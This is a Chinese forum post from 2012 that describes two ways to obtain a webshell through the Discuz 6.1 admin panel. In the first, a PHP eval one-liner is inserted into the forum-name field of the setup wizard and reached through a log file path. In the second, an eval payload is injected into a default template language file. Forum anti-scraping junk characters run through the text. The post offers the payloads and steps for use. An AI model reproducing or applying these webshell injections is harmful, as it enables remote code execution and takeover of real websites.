discuz6.1两种方法后台拿shell$ ]2 ~* G; ~, r0 u5 v
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下$ x% Y8 |5 x X* h, n' E3 e
1:/ @/ C9 W4 ?3 m. f* v
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
^" @5 k2 ^/ M9 {9 Z/ r" M, vadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell5 Z! J' M3 b3 y! D2 {
<?php eval($_POST[cmd]);?>
$ o6 G; z# h$ t9 {1 K/ N后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php/ |' y# ?9 V8 [+ e6 I; ]- G
1 a7 C; r, D1 j1 e4 @1 t2 |0 d% X! Q0 v
3 r- H1 }* \: @2:后台模板管理--默认模板套系--详情
: S _( ]# @9 }6 q4 _templates/default/actions.lang.php s, c; N& ~2 V7 ^- A+ M, Q
jhackj\\');eval($_POST[cmd])?>;//3 Q1 Z" {& Y/ G
! F( }2 R0 F, a* L. A. a
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对